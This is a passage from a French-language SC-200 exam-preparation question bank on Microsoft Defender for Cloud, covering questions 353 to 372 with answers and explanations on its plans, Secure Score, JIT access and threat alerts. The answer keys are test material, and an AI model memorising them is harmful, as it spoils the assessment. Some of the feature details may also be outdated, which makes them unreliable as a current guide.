**Point à retenir pour l'examen :** Defender for Cloud = CNAPP (CSPM + protection des charges) multicloud ; ne pas confondre avec Sentinel (SIEM) ni Defender XDR.

#### Référence officielle

- Qu'est-ce que Microsoft Defender pour le cloud ? — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-cloud-introduction

## Question n° 353 — CSPM gratuit et Defender CSPM

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation utilise uniquement les fonctionnalités gratuites de gestion de la posture de Defender for Cloud. Quelle capacité nécessite d'activer le plan payant Defender CSPM ?

**A.** L'analyse des chemins d'attaque (attack path analysis) et l'explorateur de sécurité cloud (cloud security explorer).

**B.** Les recommandations de sécurité du Microsoft Cloud Security Benchmark.

**C.** Le Secure Score.

**D.** L'inventaire des ressources.

**Bonne réponse : A**

### Correction détaillée

La **CSPM de base** (Foundational CSPM, gratuite) fournit les recommandations (MCSB), le Secure Score et l'inventaire. **Defender CSPM** (payant) ajoute notamment l'**analyse des chemins d'attaque**, l'**explorateur de sécurité cloud** (requêtes sur le graphe de sécurité), l'analyse sans agent, la posture des données sensibles, les règles de gouvernance et des normes de conformité supplémentaires.

### Analyse des réponses incorrectes

- **B.** Incluses dans la CSPM de base.
- **C.** Le Secure Score est inclus dans la CSPM de base (gratuite).
- **D.** Inclus dans la CSPM de base.

### Explication technique

Les chemins d'attaque combinent vulnérabilités, expositions Internet, identités et accès aux données pour prioriser les risques exploitables. La disponibilité des fonctionnalités évolue : consulter la page de comparaison des plans.

**Point à retenir pour l'examen :** Gratuit = recommandations + Secure Score + inventaire ; Defender CSPM = chemins d'attaque, explorateur, posture des données…

### Référence officielle

- Qu'est-ce que la gestion de posture de sécurité Cloud (CSPM) — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-cloud-security-posture-management

## Question n° 354 — Secure Score

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Comment le Secure Score de Defender for Cloud évolue-t-il ?

**A.** Il est calculé uniquement sur les machines virtuelles Windows.

**B.** Il diminue automatiquement chaque mois.

**C.** Il augmente avec le nombre d'alertes résolues.

**D.** Il augmente lorsque les recommandations de sécurité sont corrigées sur les ressources concernées, en fonction du poids des contrôles de sécurité.

**Bonne réponse : D**

**Correction détaillée**

Le **Secure Score** reflète la proportion de recommandations satisfaites, pondérée par l'importance des contrôles. Corriger une recommandation sur toutes les ressources concernées fait gagner les points associés.

**Analyse des réponses incorrectes**

- **A.** Il couvre toutes les ressources évaluées.
- **B.** Il dépend de l'état des recommandations.
- **C.** Le Secure Score mesure la posture (configuration), pas le traitement des alertes.

**Explication technique**

Les recommandations peuvent être **exemptées** (atténuée par un tiers, risque accepté) avec justification. Les règles de **gouvernance** attribuent des propriétaires et des échéances. Ne pas confondre avec le Secure Score Microsoft (Microsoft 365/Defender XDR).

**Point à retenir pour l'examen :** Secure Score Defender for Cloud = posture de configuration ; augmente en corrigeant les recommandations.

**Référence officielle**

- Degré de sécurisation de Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/secure-score-security-controls

## Question n° 355 — Choix du plan Defender for Servers

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Vous devez protéger des machines virtuelles Azure avec l'EDR de Defender for Endpoint, l'analyse des vulnérabilités sans agent, la surveillance de l'intégrité des fichiers et l'accès juste-à-temps. Quel plan choisir ?

**A.** Defender for Storage.

**B.** Foundational CSPM uniquement.

**C.** Defender for Servers Plan 2.

**D.** Defender for Servers Plan 1.

**Bonne réponse : C**

**Correction détaillée**

**Plan 1** : intégration et déploiement automatique de **Defender for Endpoint** (EDR), alertes et incidents intégrés, inventaire logiciel, analyse de vulnérabilités avec agent. **Plan 2** : tout P1 + **analyse sans agent** (vulnérabilités, secrets, malware), **FIM**, **accès juste-à-temps**, alertes Defender for DNS, détection au niveau réseau Azure, carte réseau, **500 Mo/jour d'ingestion gratuite** pour certaines données, fonctionnalités premium de Defender Vulnerability Management.

**Analyse des réponses incorrectes**

- **A.** Plan dédié aux comptes de stockage.
- **B.** La CSPM de base n'inclut pas la protection des charges de serveurs.
- **D.** P1 fournit l'intégration MDE (EDR) mais pas l'analyse sans agent, la FIM ni le JIT.

**Explication technique**

Defender for Servers n'utilise plus l'agent Log Analytics ni (pour la plupart des fonctionnalités) AMA : l'analyse sans agent et l'intégration MDE les remplacent. P1 peut être activé par ressource ; P2 s'active au niveau de l'abonnement.

**Point à retenir pour l'examen :** P1 = EDR MDE ; P2 = P1 + sans agent, FIM, JIT, DNS, 500 Mo d'ingestion.

**Référence officielle**

- Defender pour serveurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-servers-overview
- Sélectionner un plan Defender pour serveurs et une étendue de déploiement — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/plan-defender-for-servers-select-plan

## Question n° 356 — Protection des machines locales et multicloud

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une entreprise souhaite que Defender for Cloud évalue et protège des serveurs locaux et des instances EC2 d'AWS. Quelles méthodes d'intégration sont appropriées ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** Exporter manuellement les configurations dans un fichier CSV.

**B.** Créer des watchlists contenant les noms des serveurs.

**C.** Connecter le compte AWS via le connecteur multicloud natif (avec, si nécessaire, le déploiement automatique d'Azure Arc pour les EC2).

**D.** Connecter les serveurs locaux à Azure via Azure Arc.

**E.** Installer Microsoft Sentinel sur chaque serveur local.

**Bonne réponse : C, D**

**Correction détaillée**

Les **connecteurs multicloud** (AWS, GCP) permettent l'évaluation de la posture et l'activation des plans de protection pour les ressources de ces clouds. Les **serveurs locaux** sont intégrés via **Azure Arc**, ce qui les rend gérables comme des ressources Azure.

**Analyse des réponses incorrectes**

- **A.** Aucune évaluation continue.
- **B.** Une watchlist n'intègre rien à Defender for Cloud.
- **E.** Sentinel n'est pas un agent ; il ne protège pas les serveurs.

**Explication technique**

Certaines fonctionnalités de Defender for Servers sur AWS/GCP nécessitent Arc (par exemple FIM, mises à jour OS). Les ressources multicloud apparaissent dans l'inventaire, les recommandations et le Secure Score.

**Point à retenir pour l'examen :** Multicloud = connecteurs AWS/GCP ; local = Azure Arc.

**Référence officielle**

- Connecter vos machines non Azure à Microsoft Defender pour le cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-machines
- Connecter des comptes AWS à Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/quickstart-onboard-aws

## Question n° 357 — Accès juste-à-temps aux machines virtuelles

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Les ports RDP et SSH des VM Azure sont ouverts en permanence sur Internet pour l'administration. Quelle fonctionnalité de Defender for Cloud réduit cette exposition tout en permettant l'administration ?

**A.** La surveillance de l'intégrité des fichiers.

**B.** L'accès juste-à-temps (JIT), qui ferme les ports de gestion par défaut et ne les ouvre, sur demande approuvée, que pour une durée et une IP source limitées.

**C.** L'analyse de malware sans agent.

**D.** Le Secure Score.

**Bonne réponse : B**

**Correction détaillée**

L'**accès JIT** (Defender for Servers P2) configure des règles **NSG** ou **Azure Firewall** qui bloquent les ports de gestion (22, 3389, 5985/5986…). Une demande d'accès ouvre temporairement le port pour l'IP du demandeur, pendant une durée maximale définie.

**Analyse des réponses incorrectes**

- **A.** Elle détecte les modifications de fichiers et registre.
- **C.** Elle détecte des malwares sur les disques.
- **D.** Il mesure la posture sans modifier les règles réseau.

**Explication technique**

Les demandes JIT sont journalisées (AzureActivity) et peuvent être restreintes par RBAC. Alternative complémentaire : Azure Bastion. Les ports de gestion ouverts sur Internet font l'objet de recommandations et d'alertes (force brute).

**Point à retenir pour l'examen :** Ports de gestion exposés = JIT (ouverture temporaire, IP source, durée limitée) ou Bastion.

**Référence officielle**

- Activer l'accès juste-à-temps — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/enable-just-in-time-access

## Question n° 358 — Surveillance de l'intégrité des fichiers

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** L'équipe conformité exige d'être alertée en cas de modification des fichiers système critiques et de clés de registre sensibles sur des serveurs. Quelle fonctionnalité utiliser ?

**A.** La surveillance de l'intégrité des fichiers (File Integrity Monitoring) de Defender for Servers Plan 2.

**B.** L'accès juste-à-temps.

**C.** L'analyse des chemins d'attaque.

**D.** Les règles d'automatisation de Sentinel.

**Bonne réponse : A**

**Correction détaillée**

La **FIM** surveille les changements de fichiers, de registre (Windows) et de configurations critiques, et signale les modifications potentiellement malveillantes. Dans sa version actuelle, elle s'appuie sur l'intégration Defender for Endpoint.

**Analyse des réponses incorrectes**

- **B.** Il contrôle l'ouverture des ports de gestion.
- **C.** Elle analyse des combinaisons de risques, pas les modifications de fichiers.
- **D.** Elles agissent sur les incidents.

**Explication technique**

Définir des règles ciblées (fichiers système, binaires d'applications, fichiers de configuration) pour limiter le bruit. Les événements peuvent être analysés dans l'espace de travail associé et corrélés dans Sentinel.

**Point à retenir pour l'examen :** Modifications de fichiers/registre critiques = File Integrity Monitoring (Servers P2).

**Référence officielle**

- Supervision de l'intégrité des fichiers — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/file-integrity-monitoring-overview

## Question n° 359 — Exemption d'une recommandation

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une recommandation « Le chiffrement de disque doit être appliqué » concerne une VM dont le chiffrement est assuré par une solution tierce approuvée. Comment la traiter pour ne pas pénaliser le Secure Score à tort ?

**A.** Désactiver Defender for Cloud sur l'abonnement.

**B.** Supprimer la VM.

**C.** Ignorer la recommandation sans la documenter.

**D.** Créer une exemption pour cette ressource avec la catégorie « Atténué » (mitigated) et une justification documentée.

**Bonne réponse : D**

**Correction détaillée**

Les **exemptions** retirent une ressource de l'évaluation d'une recommandation pour un motif : **atténué** (contrôle compensatoire) ou **risque accepté** (dérogation), avec date d'expiration éventuelle et justification.

**Analyse des réponses incorrectes**

- **A.** On perdrait toute la protection.
- **B.** Disproportionné.
- **C.** Le score reste pénalisé et la décision n'est pas tracée.

**Explication technique**

Les exemptions sont des objets Azure Policy et sont auditées. Les **règles de gouvernance** servent, à l'inverse, à assigner des propriétaires et des échéances de correction.

**Point à retenir pour l'examen :** Contrôle compensatoire ou risque accepté = exemption justifiée (atténué / risque accepté).

**Référence officielle**

- Exempter des ressources à partir des suggestions — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/exempt-resource
- Passer en revue les recommandations de sécurité — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/review-security-recommendations

## Question n° 360 — Règles de gouvernance

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Le RSSI veut que chaque recommandation de gravité élevée soit automatiquement assignée au propriétaire de la ressource avec une échéance de 14 jours et des rappels hebdomadaires. Quelle fonctionnalité utiliser ?

**A.** Les règles de suppression d'alertes.

**B.** Les watchlists.

**C.** Les règles de gouvernance de Defender for Cloud.

**D.** Les playbooks Sentinel uniquement.

**Bonne réponse : C**

**Correction détaillée**

Les **règles de gouvernance** attribuent automatiquement des **propriétaires** (par exemple via une balise de ressource) et des **échéances** aux recommandations correspondant à des critères (gravité, type), avec **notifications** par e-mail et suivi dans un rapport de gouvernance.

**Analyse des réponses incorrectes**

- **A.** Elles masquent des alertes, elles n'assignent pas de recommandations.
- **B.** Elles stockent des données de référence.
- **D.** Possibles mais inutiles : la fonctionnalité native existe.

**Explication technique**

Elles favorisent la responsabilisation des équipes propriétaires et alimentent le suivi de la remédiation (respect des échéances). Fonctionnalité associée au plan Defender CSPM.

**Point à retenir pour l'examen :** Propriétaires + échéances automatiques pour les recommandations = règles de gouvernance.

**Référence officielle**

- Générer la correction des recommandations à l'aide de règles de gouvernance — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/governance-rules

## Question n° 361 — Conformité réglementaire

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un auditeur demande l'état de conformité de l'environnement Azure par rapport à la norme ISO 27001. Où trouver cette information dans Defender for Cloud ?

**A.** Dans la file d'alertes de sécurité.

**B.** Dans le tableau de bord de conformité réglementaire, après avoir ajouté la norme ISO 27001 aux normes évaluées.

**C.** Dans le Centre de notifications de Defender XDR.

**D.** Dans la table Heartbeat.

**Bonne réponse : B**

**Correction détaillée**

Le **tableau de bord de conformité réglementaire** évalue les ressources par rapport à des normes (Microsoft Cloud Security Benchmark par défaut, et d'autres comme ISO 27001, PCI DSS, NIST...), en associant leurs contrôles aux recommandations.

**Analyse des réponses incorrectes**

- **A.** Les alertes concernent les menaces, pas la conformité.
- **C.** Il trace les actions de réponse.
- **D.** Disponibilité des agents.

**Explication technique**

Un état « conforme » technique ne vaut pas certification : certains contrôles sont organisationnels. Les rapports peuvent être téléchargés pour l'audit. Les normes supplémentaires dépendent du plan activé

(Defender CSPM pour certaines).

**Point à retenir pour l'examen :** Conformité aux normes = tableau de bord de conformité réglementaire (MCSB par défaut + normes ajoutées).

**Référence officielle**

- Référentiel de sécurité Cloud Microsoft dans Defender pour Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-regulatory-compliance

## Question n° 362 — Analyse des chemins d'attaque

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Avancé
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Defender CSPM signale un chemin d'attaque : « VM exposée à Internet avec une vulnérabilité critique, disposant d'une identité managée qui a accès à un compte de stockage contenant des données sensibles ». Quelle action est la plus efficace ?

**A.** Supprimer toutes les identités managées de l'abonnement.

**B.** Augmenter la rétention des journaux de stockage.

**C.** Ignorer le chemin tant qu'aucune alerte n'a été générée.

**D.** Briser le chemin au point le plus efficace (par exemple corriger la vulnérabilité ou supprimer l'exposition Internet, et réduire les permissions de l'identité managée), en traitant les recommandations associées.

**Bonne réponse : D**

**Correction détaillée**

L'**analyse des chemins d'attaque** relie plusieurs faiblesses (exposition, vulnérabilité, identité, accès aux données) en scénarios exploitables et indique les **points d'étranglement** (choke points) où une correction coupe plusieurs chemins.

**Analyse des réponses incorrectes**

- **A.** Disproportionné et perturbant.
- **B.** Utile pour l'investigation mais ne réduit pas le risque.
- **C.** Le chemin décrit un risque exploitable avant toute attaque.

**Explication technique**

L'**explorateur de sécurité cloud** permet de rechercher proactivement des combinaisons de risques (par exemple « VM exposées avec vulnérabilités élevées et accès à Key Vault »). Ces informations alimentent aussi Microsoft Security Exposure Management.

**Point à retenir pour l'examen :** Chemin d'attaque = combinaison exploitable ; corriger au point d'étranglement.

**Référence officielle**

- Identifier et corriger les chemins d'attaque dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/how-to-manage-attack-path
- Créer des requêtes avec l'explorateur de sécurité du cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/how-to-manage-cloud-security-explorer

## Question n° 363 — Analyse sans agent

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quel est l'avantage principal de l'analyse sans agent (agentless scanning) de Defender for Cloud pour les machines virtuelles ?

**A.** Elle chiffre automatiquement les disques.

**B.** Elle remplace la MFA des administrateurs.

**C.** Elle évalue les vulnérabilités, l'inventaire logiciel, les secrets et les malwares à partir d'instantanés de disques, sans installer ni gérer d'agent et sans impact sur les performances de la VM.

**D.** Elle bloque en temps réel les processus malveillants sur la VM.

**Bonne réponse : C**

#### Correction détaillée

L'**analyse sans agent** prend des **instantanés** des disques et les analyse hors de la VM : vulnérabilités logicielles, **secrets** (clés, mots de passe en clair), **malware**, inventaire. Elle couvre aussi des machines où un agent n'est pas déployé.

#### Analyse des réponses incorrectes

- **A.** Elle analyse, elle ne chiffre pas.
- **B.** Sans rapport.
- **D.** La prévention en temps réel relève de l'EDR (MDE) ; l'analyse sans agent est une évaluation périodique.

#### Explication technique

Disponible avec Defender CSPM et Defender for Servers P2 (selon les fonctionnalités). Elle complète, sans remplacer, la protection en temps réel de Defender for Endpoint.

> **Point à retenir pour l'examen :** Sans agent = évaluation par instantanés de disques (vulnérabilités, secrets, malware), sans impact sur la VM.

#### Référence officielle

- Analyse des machines sans agent — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/concept-agentless-data-collection

## Question n° 364 — Defender for Storage

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une application permet aux clients de déposer des fichiers dans un compte de stockage Blob. Vous voulez détecter les fichiers malveillants dès leur chargement et les accès anormaux au compte. Quel plan activer ?

**A.** Defender for Storage, avec l'analyse des malwares au chargement (on-upload malware scanning) et la surveillance des activités.

**B.** Defender for Resource Manager.

**C.** Defender for SQL.

**D.** Defender for Key Vault.

**Bonne réponse : A**

#### Correction détaillée

**Defender for Storage** détecte les activités suspectes (accès depuis une IP malveillante ou Tor, anomalies d'accès, exfiltration potentielle), propose l'**analyse des malwares au chargement** (et à la demande) et la détection des menaces sur les données sensibles.

#### Analyse des réponses incorrectes

- **B.** Surveille les opérations du plan de contrôle Azure.
- **C.** Plan dédié aux bases de données.

- **D.** Plan dédié aux coffres de clés.

**Explication technique**

Les résultats d'analyse de malware peuvent déclencher des actions (suppression ou mise en quarantaine du blob via automatisation, étiquetage par index tags). Les alertes remontent dans Defender for Cloud, Defender XDR et Sentinel.

**Point à retenir pour l'examen :** Fichiers déposés dans un stockage = Defender for Storage (analyse des malwares au chargement + détection d'activités suspectes).

**Référence officielle**

- Présentation de Microsoft Defender pour le stockage — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-storage-introduction

## Question n° 365 — Defender for Key Vault

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte Defender for Cloud indique « Volume inhabituel d'opérations dans un coffre de clés » depuis une IP inconnue. Quel plan a généré cette alerte et que vérifier en priorité ?

**A.** Defender for Containers ; redémarrer les pods.

**B.** Defender CSPM ; ignorer car c'est une recommandation.

**C.** Defender for DNS ; vérifier les enregistrements DNS.

**D.** Defender for Key Vault ; vérifier l'identité appelante, les secrets lus et l'origine de l'IP, puis faire tourner les secrets exposés si l'accès est illégitime.

**Bonne réponse : D**

**Correction détaillée**

**Defender for Key Vault** détecte les accès inhabituels ou potentiellement malveillants aux coffres (volume anormal, accès depuis Tor ou une IP suspecte, utilisateur inhabituel). La réponse consiste à identifier l'appelant (journaux de diagnostic du coffre), révoquer son accès et **faire tourner les secrets** potentiellement compromis.

**Analyse des réponses incorrectes**

- **A.** Sans rapport.
- **B.** Il s'agit d'une alerte de menace, pas d'une recommandation.
- **C.** Le plan concerné est Key Vault.

**Explication technique**

Les journaux d'audit de Key Vault (via paramètres de diagnostic) permettent l'investigation dans Log Analytics. Les identités ayant accès au coffre doivent suivre le moindre privilège (RBAC Azure ou stratégies d'accès).

**Point à retenir pour l'examen :** Alerte Key Vault = identifier l'appelant, révoquer l'accès, faire tourner les secrets.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Key Vault — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-key-vault-introduction

## Question n° 366 — Defender for Resource Manager

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quel plan Defender for Cloud détecte des opérations suspectes sur le plan de contrôle Azure, comme l'utilisation d'outils d'exploitation (MicroBurst, PowerZure) ou des opérations de gestion depuis des IP malveillantes ?

**A.** Foundational CSPM.

**B.** Defender for Resource Manager.

**C.** Defender for App Service.

**D.** Defender for Storage.

**Bonne réponse : B**

**Correction détaillée**

**Defender for Resource Manager** analyse les opérations de gestion des ressources (via Azure Resource Manager : portail, API REST, CLI, PowerShell) et détecte les comportements suspects : boîtes à outils d'exploitation, opérations depuis des IP malveillantes, persistance, mouvement latéral entre abonnements.

**Analyse des réponses incorrectes**

- **A.** Évalue la configuration sans détection de menaces.
- **C.** Surveille les applications web hébergées.
- **D.** Surveille les comptes de stockage.

**Explication technique**

Complément naturel d'AzureActivity dans Sentinel. Les alertes indiquent les opérations, l'appelant et l'IP, à corréler avec les connexions Entra ID.

**Point à retenir pour l'examen :** Opérations suspectes sur le plan de contrôle Azure = Defender for Resource Manager.

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour Resource Manager — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-resource-manager-introduction

## Question n° 367 — Defender for Containers

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelles capacités offre Defender for Containers pour des clusters AKS ? (Sélectionnez deux réponses.)

**Sélectionnez deux réponses.**

**A.** La détection des menaces à l'exécution sur les nœuds et le plan de contrôle Kubernetes (par exemple conteneur privilégié, exécution de commandes suspectes, accès à l'API depuis une IP malveillante).

**B.** L'évaluation des vulnérabilités des images de conteneurs (registres et images en cours d'exécution) et le durcissement de la posture Kubernetes.

**C.** La gestion des mots de passe des utilisateurs Entra ID.

**D.** L'analyse des tables SQL.

**E.** La protection des boîtes aux lettres Exchange Online.

**Bonne réponse : A, B**

**Correction détaillée**

**Defender for Containers** couvre la **posture** (recommandations Kubernetes, Azure Policy pour Kubernetes), l'**évaluation des vulnérabilités** des images (registres ACR/ECR/GCR et images en exécution) et la **protection à l'exécution** (capteur Defender sur les nœuds, analyse des journaux d'audit Kubernetes).

**Analyse des réponses incorrectes**

- **C.** Sans rapport.
- **D.** C'est Defender for SQL.
- **E.** C'est Defender for Office 365.

**Explication technique**

Le capteur Defender (DaemonSet) collecte les événements d'exécution ; l'analyse sans agent découvre les clusters. Les alertes incluent les techniques de la matrice Kubernetes (par exemple « Container with a sensitive volume mount »).

**Point à retenir pour l'examen :** Defender for Containers = posture K8s + vulnérabilités des images + détection à l'exécution.

**Référence officielle**

- Présentation de Microsoft Defender pour les conteneurs — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-containers-introduction

## Question n° 368 — Defender for SQL

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte « Potential SQL injection » est levée sur une base Azure SQL. Quel plan l'a générée et quelles informations permettent d'investiguer ?

**A.** Foundational CSPM ; c'est une recommandation de configuration.

**B.** Defender for Storage ; vérifier les blobs.

**C.** Defender for SQL (Defender for Azure SQL Database) ; l'alerte fournit la requête suspecte, l'application cliente, l'IP et l'heure, à recouper avec les journaux d'audit SQL et les journaux de l'application.

**D.** Defender for DNS ; vérifier les résolutions.

**Bonne réponse : C**

**Correction détaillée**

**Defender for SQL** détecte les tentatives d'**injection SQL**, les accès anormaux (emplacement, application, principal inhabituels), les attaques par force brute et les tentatives d'exfiltration ; il propose aussi l'évaluation des vulnérabilités de la base.

**Analyse des réponses incorrectes**

- **A.** C'est une alerte de menace.
- **B.** La cible est une base SQL.
- **D.** Sans rapport.

**Explication technique**

Une injection signalée oriente vers l'application (code vulnérable), pas seulement vers la base : impliquer les développeurs, examiner les journaux du WAF et de l'application, et vérifier ce qui a été lu (audit SQL).

**Point à retenir pour l'examen :** Injection SQL / accès anormal à une base = Defender for SQL ; investiguer aussi l'application.

**Référence officielle**

- Vue d'ensemble des Microsoft Defender pour les bases de données Azure SQL — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-sql-introduction

## Question n° 369 — Defender for DNS et domaines malveillants

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire

**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte Defender for Cloud indique « Communication with suspicious domain identified by threat intelligence » pour une VM Azure, détectée au niveau DNS. Quelle est la source de cette détection pour les nouveaux clients ?

**A.** Les alertes Defender for DNS, désormais incluses dans Defender for Servers Plan 2.

**B.** Les règles ASR de MDE.

**C.** La conformité réglementaire.

**D.** Defender for Key Vault.

**Bonne réponse : A**

**Correction détaillée**

Les détections **Defender for DNS** analysent les requêtes DNS des ressources Azure vers le résolveur Azure et signalent les communications avec des domaines malveillants, le tunneling DNS, etc. La documentation de Defender for Servers indique que ces alertes sont incluses dans le **Plan 2**.

**Analyse des réponses incorrectes**

- **B.** Elles ne génèrent pas cette alerte.
- **C.** Elle ne génère pas d'alertes de menace.
- **D.** Sans rapport avec les requêtes DNS des VM.

**Explication technique**

Investiguer avec MDE (processus à l'origine de la requête, DeviceNetworkEvents) si l'agent est présent, et bloquer le domaine (indicateurs, pare-feu DNS). Le plan autonome Defender for DNS reste pour les clients existants selon la documentation.

**Point à retenir pour l'examen :** Requêtes DNS malveillantes de VM Azure = alertes Defender for DNS (incluses dans Servers P2).

**Référence officielle**

- Vue d'ensemble de Microsoft Defender pour DNS — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-dns-introduction
- Sélectionner un plan Defender pour serveurs et une étendue de déploiement — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/plan-defender-for-servers-select-plan

## Question n° 370 — Defender for App Service

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une alerte signale « Web shell detected » sur une application Azure App Service. Quel plan l'a générée et quelle est la priorité ?

**A.** Defender CSPM ; ignorer car c'est une recommandation.

**B.** Defender for Key Vault ; supprimer le coffre.

**C.** Defender for DNS ; vider le cache DNS.

**D.** Defender for App Service ; isoler/retirer le fichier malveillant, analyser comment il a été déposé (vulnérabilité, identifiants de déploiement) et faire tourner les secrets de l'application.

**Bonne réponse : D**

**Correction détaillée**

**Defender for App Service** surveille les applications et l'infrastructure App Service : web shells, exécution de commandes suspectes, scans, accès à des URL dangereuses, réutilisation de domaines. Un **web shell**

(T1505.003) donne un accès persistant à l'attaquant.

**Analyse des réponses incorrectes**

- **A.** C'est une alerte de compromission.
- **B.** Disproportionné et sans rapport direct.
- **C.** Sans rapport.

**Explication technique**

Revoir les journaux de déploiement (FTP, Kudu, pipelines), les identifiants de publication, les journaux HTTP et le code. Reconstruire depuis une source fiable si l'intégrité n'est pas garantie.

**Point à retenir pour l'examen :** Web shell sur App Service = Defender for App Service ; trouver le vecteur de dépôt et faire tourner les secrets.

**Référence officielle**

- Vue d'ensemble de Defender pour App Service afin de protéger vos applications web et API Azure App Service — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/defender-for-app-service-introduction

## Question n° 371 — Protection des charges d'IA

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une organisation déploie des applications d'IA générative sur Azure OpenAI / Azure AI. Quelle protection de Defender for Cloud permet de détecter des tentatives d'injection de prompt (jailbreak) ou des fuites de données sensibles via ces applications ?

**A.** Les règles ASR.

**B.** Defender for DNS.

**C.** La protection contre les menaces pour les charges de travail d'IA (Defender for AI services).

**D.** Le filtrage de contenu web de MDE.

**Bonne réponse : C**

**Correction détaillée**

La **protection contre les menaces des services d'IA** de Defender for Cloud s'appuie sur les signaux d'Azure AI (dont Prompt Shields) pour détecter les **injections de prompt**, le **jailbreak**, l'exposition de données sensibles et les usages anormaux, et génère des alertes intégrées à Defender XDR.

**Analyse des réponses incorrectes**

- **A.** Concernent les terminaux Windows.
- **B.** Ne détecte pas les attaques de prompt.
- **D.** Concerne la navigation des postes.

**Explication technique**

Les alertes peuvent inclure des preuves (extraits de prompts) selon la configuration. Le référentiel SC-200 2026 mentionne l'IA (agents, Copilot) dans le profil du candidat ; Defender XDR propose aussi des fonctionnalités de sécurité des agents IA.

**Point à retenir pour l'examen :** Menaces sur les applications d'IA générative = protection des charges d'IA de Defender for Cloud.

**Référence officielle**

- Protection contre les menaces liées à l'IA dans Microsoft Defender for Cloud — https://learn.microsoft.com/fr-fr/azure/defender-for-cloud/ai-threat-protection

## Question n° 372 — Recommandation ou alerte

**Domaine :** Module 5 — Microsoft Defender for Cloud et protection des ressources **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle différence fondamentale y a-t-il entre une recommandation et une alerte de sécurité dans Defender for Cloud ?

**A.** Une recommandation signale une faiblesse de configuration à corriger (posture, prévention), alors qu'une alerte signale une activité suspecte ou malveillante détectée (menace, réponse).

